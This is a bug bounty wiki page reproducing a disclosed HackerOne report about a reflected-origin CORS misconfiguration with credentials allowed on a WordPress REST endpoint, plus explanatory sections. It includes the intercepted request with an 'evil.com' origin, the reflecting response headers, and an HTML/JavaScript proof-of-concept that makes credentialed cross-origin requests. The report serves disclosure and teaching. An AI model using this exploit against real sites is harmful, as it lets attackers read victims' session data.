Skip to content
CORS Disclosed report Beginner

Cross Origin Resource Sharing Misconfiguration | Lead to sensitive information.

The WordPress REST API endpoint on the site reflected an arbitrary Origin value in its CORS response headers while also allowing credentials. An attacker could host a page that makes a cross-origin request with the victim's cookies and read the response, potentially exposing data tied to the victim's session.

sudhakarsurya Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 4 days

hii team, i found a cors bug in your https://sifchain.finance/ website .

Steps To Reproduce:

1. goto https://sifchain.finance/ website and enter email and click signup.

2. intercept via burp ,you will get a request . send to repeater.

3.change the request as

POST /==wp-json== HTTP/2 Host: sifchain.finance Cookie: __cfduid=d4eb7f6f55c752d2db3148265a583b3381620281228; amplitude_id_fef1e872c952688acd962d30aa545b9esifchain.finance=eyJkZXZpY2VJZCI6ImUyMzY5ZDM2LTFlZGItNDY4ZS1iZGY1LTlkYmIzZTc0YjY3YVIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYyMDM1OTc3NDA5OSwibGFzdEV2ZW50VGltZSI6MTYyMDM1OTc3NTQ1NiwiZXZlbnRJZCI6MSwiaWRlbnRpZnlJZCI6MSwic2VxdWVuY2VOdW1iZXIiOjJ9; _ga=GA1.2.1872300780.1620359778 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 129 Origin: https://evil.com Referer: https://sifchain.finance/ Upgrade-Insecure-Requests: 1 Te: trailers Connection: close

EMAIL=loyixac322%40ffuqzt.com&_mc4wp_honeypot=&_mc4wp_timestamp=1620546910&_mc4wp_form_id=204&_mc4wp_form_element_id=mc4wp-form-1

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

#4.the response is,

HTTP/2 404 Not Found Date: Sun, 09 May 2021 08:09:06 GMT Content-Type: application/json; charset=UTF-8 Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. Host-Header: WordPress.com X-Robots-Tag: noindex Link: https://sifchain.finance/wp-json/; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Access-Control-Allow-Origin: ==https://evil.com== Access-Control-Allow-Methods: ==OPTIONS, GET, POST, PUT, PATCH, DELETE== Access-Control-Allow-Credentials: ==true== Vary: Origin X-Ac: 3.bom _atomic_dca Cf-Cache-Status: DYNAMIC Cf-Request-Id: 09f1c54e890000e2b5f2b9d000000001 Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare Cf-Ray: 64c97190df83e2b5-NAG

{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}

#5.In response headers you can see headers:

Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE Access-Control-Allow-Credentials: true

#6.So you can write exploit:

<!DOCTYPE html> <html> <head> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("emo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://sifchain.finance/wp-json", true); xhttp.withCredentials = true; xhttp.send(); } </script> </head> <body> <center> <h2>CORS PoC Exploit </h2>
  <div id="demo">
     <button type="button" onclick="cors()">Exploit</button>
  </div>
</body> </html>

Impact

Attacker would treat many victims to visit attacker's website, if victim is signup, then his personal information is recorded in attacker's server.

attchments:

Attachments

request.jpg
request.jpg From the original on HackerOne
changed__req.jpg
changed__req.jpg
bandicam_2021-05-09_09-06-39-753.jpg
bandicam_2021-05-09_09-06-39-753.jpg

The original report as published on HackerOne, by sudhakarsurya. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server reflected the request's Origin header into Access-Control-Allow-Origin and combined it with Access-Control-Allow-Credentials: true, instead of checking the origin against an allowlist.

Impact

An attacker could lure a signed-up victim to a malicious page and read the cross-origin response, which the reporter claims could expose the victim's personal information; the demonstrated endpoint returned a 404 with no user data, so the actual data exposure is not shown.

What the attacker needed

Victim is signed up on the site; victim visits attacker's page; attacker controls a domain

How it was found

  1. Visit the site, enter an email and click signup.
  2. Intercept the signup request in Burp and send it to Repeater.
  3. Change the Origin header to an attacker-controlled domain and resend.
  4. Observe the response headers reflecting the attacker origin with credentials allowed.
  5. Host a page that makes a credentialed cross-origin request to the endpoint and reads the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Browsers normally stop a page on one site from reading responses from another site. CORS is a set of response headers that lets a site deliberately relax that rule for chosen origins. Here the server echoed back whatever origin the attacker sent and also said credentials were allowed, so a malicious page could read the response as the logged-in user.

What is CORS?

A permissive cross-origin policy lets another site read responses with the user's credentials.

More from Sifchain

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.